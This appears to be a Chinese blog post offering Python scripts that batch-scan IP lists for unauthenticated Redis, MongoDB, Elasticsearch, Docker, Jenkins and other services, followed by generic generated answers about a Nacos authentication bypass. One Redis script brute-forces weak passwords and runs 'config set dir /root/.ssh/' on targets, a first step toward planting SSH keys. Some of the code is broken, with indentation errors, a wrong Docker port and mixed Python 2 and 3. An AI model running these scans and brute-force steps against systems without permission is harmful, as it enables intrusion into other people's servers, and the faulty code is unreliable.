未授权漏洞批量扫描poc

一般来说我们检验是否存在漏洞,都是一个个的检验。但是如果遇到了目标有很多,这个怎么办呢?
这里提供2个思路

一、msf的扫描

找到

1.1、指定文件ip扫描

192.168.100.222
192.168.100.223
192.168.100.224
192.168.100.225
192.168.100.226
这样一行一行写入文本
在这里插入图片描述

1.2、指定网络段ip扫描

一般都是扫C段,也就是/24就行了,尽量不要去搞A(8)、B段(16),太多了
在这里插入图片描述

二、楼主这里提供一些批量poc

import socket
import pymongo
import requests
import ftplib
from tqdm import tqdm
import sys
from concurrent.futures import ThreadPoolExecutor


def redis(ip):
    try:
        socket.setdefaulttimeout(5)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, 6379))
        s.send(bytes("INFO\r\n", 'UTF-8'))
        result = s.recv(1024).decode()
        if "redis_version" in result:
            print(ip + ":6379 redis未授权")
        s.close()
    except Exception as e:
        pass
    finally:
        bar.update(1)

def mongodb(ip):
    try:
        conn = pymongo.MongoClient(ip, 27017, socketTimeoutMS=4000)
        dbname = conn.list_database_names()
        print(ip + ":27017 mongodb未授权")
        conn.close()
    except Exception as e:
        pass
    finally:
        bar.update(1)

def memcached(ip):
    try:
        socket.setdefaulttimeout(5)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, 11211))
        s.send(bytes('stats\r\n', 'UTF-8'))
        if 'version' in s.recv(1024).decode():
            print(ip + ":11211 memcached未授权")
        s.close()
    except Exception as e:
        pass
    finally:
        bar.update(1)

def elasticsearch(ip):
    try:
        url = 'http://' + ip + ':9200/_cat'
        r = requests.get(url, timeout=5)
        if '/_cat/master' in r.content.decode():
            print(ip + ":9200 elasticsearch未授权")
    except Exception as e:
        pass
    finally:
        bar.update(1)

def zookeeper(ip):
    try:
        socket.setdefaulttimeout(5)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, 2181))
        s.send(bytes('envi', 'UTF-8'))
        data = s.recv(1024).decode()
        s.close()
        if 'Environment' in data:
            print(ip + ":2181 zookeeper未授权")
    except:
        pass
    finally:
        bar.update(1)

def ftp(ip):
    try:
        ftp = ftplib.FTP.connect(ip,21,timeout=5)
        ftp.login('anonymous', 'Aa@12345678')
        print(ip + ":21 FTP未授权")
    except Exception as e:
        pass
    finally:
        bar.update(1)

def CouchDB(ip):
    try:
        url = 'http://' + ip + ':5984'+'/_utils/'
        r = requests.get(url, timeout=5)
        if 'couchdb-logo' in r.content.decode():
            print(ip + ":5984 CouchDB未授权")
    except Exception as e:
        pass
    finally:
        bar.update(1)

def docker(ip):
    try:
        url = 'http://' + ip + ':6071'+'/version'
        r = requests.get(url, timeout=5)
        if 'ApiVersion' in r.content.decode():
            print(ip + ":6071 docker api未授权")
    except Exception as e:
        pass
    finally:
        bar.update(1)

def Hadoop(ip):
    try:
        url = 'http://' + ip + ':50070'+'/dfshealth.html'
        r = requests.get(url, timeout=5)
        if 'hadoop.css' in r.content.decode():
            print(ip + ":50070 Hadoop未授权")
    except Exception as e:
        pass
    finally:
        bar.update(1)
		
def Jenkins(ip):
    try:
        url = 'http://' + ip + ':8080'+'/manage'
        r = requests.get(url, timeout=5)
        if 'Jenkins' in r.content.decode():
            print(ip + ":8080 Jenkins api未授权")
    except Exception as e:
        pass
    finally:
        bar.update(1)

if __name__ == '__main__':
    if len(sys.argv) == 1:
        print("Usage:python3 unauthorized-check.py url.txt")
    file = sys.argv[1]
    with open(file, "r", encoding='UTF-8') as f:
        line = [i for i in f.readlines()]
    bar = tqdm(total=len(line)*9)
    with ThreadPoolExecutor(1000) as pool:
        for target in line:
            target=target.strip()
            pool.submit(redis, target)
            pool.submit(Hadoop, target)
            pool.submit(docker, target)
            pool.submit(CouchDB, target)
            pool.submit(ftp, target)
            pool.submit(zookeeper, target)
            pool.submit(elasticsearch, target)
            pool.submit(memcached, target)
            pool.submit(mongodb, target)
			pool.submit(Jenkins, target)

楼主这里试一试elasticsearch的未授权poc
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

还有其他的一些单独的批量poc,楼主也放一下。(这里注意使用py2)

Redis的未授权批量poc

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            print u"%s:%s未授权访问"%(ip,port)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip, int(port)))
            s.send("config set dir /root/.ssh/\r\n")
            content = s.recv(1024)
            print(content)
            if "OK" in content:
                print u"%s:%s .ssh目录存在且权限足够"%(ip,port)
            elif "error" in content:
                print u"%s:%s 无法写入"%(ip,port)
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(pass_))
                result = s.recv(1024)
                if '+OK' in result:
                    print u"%s:%s存在弱口令,密码:%s" % (ip,port,pass_)
    except Exception, e:
        print e
        pass
if __name__ == '__main__':
    doc = open("hello_world.txt", "r")
    lines = doc.readlines()
    for ip in lines:
        #print(type(ip))
        #print(ip.strip())
        check(ip.strip(),6380,timeout=10)
        #print(type(ip))
    doc.close()

Kibana的未授权批量poc

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
 
import requests
def Hadoop_check(ip, port, timeout):
    try:
        url = "http://"+str(ip)+":"+str(port)+"/app/kibana"
        response = requests.get(url) 
        print(url)
        print(response.content)
        if "/app/kibana" in response.content:
			print '[+++++] Kibana [+++++]: ' +ip+':'+str(port)
			
    except:
        pass
    


if __name__ == '__main__':
    doc = open("ip.txt", "r")
    lines = doc.readlines()
    for ip in lines:
        #print(type(ip))
        #print(ip.strip())
        Hadoop_check(ip.strip(),5601,5)
        #print(type(ip))
    doc.close()

Hadoop的未授权批量poc

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
 
import requests
def Hadoop_check(ip, port, timeout):
    try:
        url = "http://"+str(ip)+":"+str(port)+"/cluster"
        response = requests.post(url) 
        if "/cluster/cluster" in response.content:
            print '[+++++] Hadoop [+++++]: ' +ip+':'+str(port)
            
    except:
        pass
    


if __name__ == '__main__':
    doc = open("ip.txt", "r")
    lines = doc.readlines()
    for ip in lines:
        #print(type(ip))
        print(ip.strip())
        Hadoop_check(ip.strip(),8088,5)
        #print(type(ip))
    doc.close()

Elasticsearch的未授权批量poc

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
 
import requests
def Elasticsearch_check(ip, port, timeout):
    try:
        url = "http://"+str(ip)+":"+str(port)+"/_cat"
        response = requests.get(url) 
        if "/_cat/master" in response.content:
			print '[+++++] Elasticsearch: ' +ip+':'+str(port)
    except:
        pass
    


if __name__ == '__main__':
    doc = open("ip.txt", "r")
    lines = doc.readlines()
    for ip in lines:
        #print(type(ip))
        #print(ip.strip())
        Elasticsearch_check(ip.strip(),9200,5)
        #print(type(ip))
    doc.close()
  • 2
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: Nacos是一种开源的配置中心和服务发现平台,可以帮助开发者更方便地管理微服务架构。然而,最近在Nacos中发现了一个名为身份认证绕过的漏洞,这使得攻击者可以绕过身份验证,执行恶意操作。 为了帮助企业和个人快速检测到这个安全漏洞,并采取相应的补救措施,一些安全研究者开发了批量检测POC。这个POC利用公开的漏洞信息,测试Nacos的登录和注册功能,以确定Nacos是否存在身份认证绕过漏洞。 使用这个批量检测POC,用户可以将所有的IP地址列表保存到一个文本文件中,然后通过简单的命令行选项传递该文本文件的路径。这个POC将自动扫描并验证每个IP地址是否容易受到身份认证绕过漏洞的攻击。 总体来说,这个批量检测POC提供了一种简单、快速、有效的方式,帮助企业和个人识别并修复Nacos中的身份认证绕过漏洞,从而提高系统的安全性和可靠性。同时,这也反映了业界对于技术安全的持续关注和努力。 ### 回答2: nacos是一个云原生的动态服务发现和配置管理平台,但是在nacos中存在着身份认证绕过漏洞,攻击者可以通过此漏洞直接绕过身份验证,获取到nacos的管理权限。为了防止此漏洞被滥用,需要及时对其进行检测和修复。 Nacos身份认证绕过漏洞批量检测可以采用Poc技术进行,Poc即Proof of Concept,意为概念证明。通过编写Poc代码,可以在不影响正常运行的情况下,模拟攻击行为,发现漏洞并进行修复。 对于nacos身份认证绕过漏洞批量检测Poc,可以通过以下步骤实现: 1. 首先,确定目标,即需要检测的nacos服务地址。可以通过搜索引擎、网络扫描等方式获取目标。 2. 编写Poc代码,对目标进行检测。具体步骤如下: (1)通过无需认证的接口验证目标是否存在身份认证绕过漏洞。 (2)如果存在漏洞,则可以使用管理员权限执行恶意操作,如读取、修改、删除配置文件等。 3. 对漏洞进行修复。修补漏洞的方法是将nacos系统更新至最新版本,并且配置正确,以避免任何安全问题。 通过进行nacos身份认证绕过漏洞批量检测Poc,可以及时发现和修复nacos系统中的漏洞问题,从而提高系统的安全性和稳定性。同时,作为云原生的重要组件之一,nacos系统的安全问题也需要得到更高的重视和加强保护。 ### 回答3: Nacos是一种开源的分布式服务发现、配置和管理平台,最近出现了一个身份认证绕过漏洞。攻击者可以利用该漏洞绕过Nacos的身份验证,实现授权访问敏感信息或执行恶意操作。为了增强安全性,开发人员需要尽快修补漏洞。 为方便安全研究人员和开发人员识别漏洞,可以使用批量检测pocpoc是Proof of Concept的缩写,通常是指一段代码或脚本,用来验证漏洞是否存在的可复现方式。通过使用poc,可以确认漏洞的确存在,便于修复。 对于Nacos身份认证绕过漏洞,可以使用poc进行批量检测。首先需要构造一份包含有效用户名和密码的列表,然后使用poc对Nacos进行检测。如果检测到漏洞,则会产生警报或输出,方便管理员及时修复漏洞。 因此,在使用Nacos时,开发人员需要及时修复漏洞,并通过poc等方式进行漏洞检测,以便及时发现和修复其他潜在的安全漏洞,提高系统的安全性和可靠性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值